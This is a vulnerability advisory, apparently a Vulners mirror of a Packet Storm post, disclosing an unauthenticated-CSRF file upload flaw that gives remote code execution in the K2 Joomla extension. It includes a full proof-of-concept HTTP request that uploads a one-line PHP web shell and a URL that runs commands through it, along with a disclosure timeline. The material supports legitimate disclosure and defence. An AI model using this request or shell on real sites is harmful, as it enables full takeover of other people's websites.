Lucene search
K

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery

🗓️ 20 Nov 2016 00:00:00Reported by Anti RaisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

K2 Joomla! Extension 2.5.0 - 2.7.1 suffers from arbitrary file upload leading to RCE via CSRF or WC

Code
`K2 RCE via CSRF or WCI  
######################  
  
Information  
===========  
  
Name: K2 Joomla! Extension 2.5.0 - 2.7.1  
Software: K2  
Platform: Joomla 3.6.2  
Homepage: https://getk2.org/, http://extensions.joomla.org/extension/k2  
Vulnerability: RCE, arbitrary file upload, missing CSRF protection  
Prerequisites: victim has to be authenticated user with administrator role  
CVE: pending  
  
Credit: Anti RA$?is  
HTML version: https://bitflipper.eu  
  
Product  
=======  
  
K2 is a Joomla! extension for complete replacement of the default  
article system, which is used to edit the Joomla administration panel  
and the website.  
  
  
Description  
===========  
  
The administrator panel of K2 suffers from arbitrary file upload which  
leads to arbitrary PHP code execution. An attacker could trick an  
administrator to upload a malicious file (PHP shell) and execute  
arbitrary PHP code using it. This functionality is available by default  
to users with administrator role (admin, super user), therefore limiting  
the attack surface to authenticated administrator users. The file upload  
functionality isn't protected by CSRF token, which makes it possible to  
exploit it by constructing a malicious request, which on execution  
exploits the vulnerability, while the victim visits the attacker  
controlled site. In addition, the attacker can use a WCI vulnerability  
on the site to exploit the arbitrary file upload vulnerability.  
Successful exploitation could lead to full site compromise.  
  
Proof of Concept  
================  
  
Presumption: attacker has access to Joomla administrator account; or  
uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code.  
  
Let's presume the attacker has access to an account with file upload  
privilege. Files can be uploaded by using the K2 "Media manager"  
functionality.  
  
URL: http://victim.site/administrator/index.php?option=com_k2&view=media  
  
==================== request ========================  
POST /administrator/index.php?option=com_k2&view=media&task=connector  
HTTP/1.1  
Host: victim.site  
Content-Length: 460  
Origin: http://victim.site  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n  
Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk;  
csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1;  
9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567;  
7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2;  
9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0;  
joomla_user_state=logged_in;  
joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW  
Connection: close  
  
------WebKitFormBoundaryxyHoCnAa7sl8Av8n  
Content-Disposition: form-data; name="cmd"  
  
upload  
------WebKitFormBoundaryxyHoCnAa7sl8Av8n  
Content-Disposition: form-data; name="target"  
  
l1_Lw  
------WebKitFormBoundaryxyHoCnAa7sl8Av8n  
Content-Disposition: form-data; name="upload[]"; filename="sh.php"  
Content-Type: application/x-php  
  
<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>  
------WebKitFormBoundaryxyHoCnAa7sl8Av8n--  
==================== request end ====================  
  
Parameter "target" specifies the "root" directory for the "Media  
manager" and is the same across installations (same version; not tested  
with older ones). PHP and other files starting with a dot (e.g  
".htacces") are hidden, but are accessible directly. File is uploaded in  
the "images" folder and can be directly accessed.  
  
URL to execute PHP shell:  
http://victim.site/images/sh.php?x=ls%20-lah  
  
Timeline  
========  
  
* 06.08.2016 | me > developer | vulnerability discovered and initial contact  
* 08.08.2016 | me > developer | sent the report to the developers  
* 10.08.2016 | developer > me | issue acknowledged  
* 10.08.2016 | me > DWF | CVE request - no response  
* 11.08.2016 | developer > me | inadequate fix: update elFinder plugin;  
responded with bypass  
* 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin  
configuration  
* 15.08.2016 | me > developer | responded with bypass  
* 17.08.2016 | developer > me | inadequate fix: added CSRF protection  
* 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to  
exploit RCE  
* 25.08.2016 | me > developer | asked for fix timeline  
* 26.08.2016 | developer > me | responded with time estimation  
* 27.08.2016 | me > developer | reminded that target site is exploitable  
when combined with WCI vulnerability  
* 20.09.2016 | me > developer | no patch available; contacted developer  
about the release status - no feedback  
* 11.10.2016 | me > developer | no patch available; contacted developer  
about the progress - no feedback  
* 19.11.2016 | me > public | full disclosure  
  
---  
Anti RA$?is  
Blog: https://bitflipper.eu  
Pentester at http://www.clarifiedsecurity.com  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation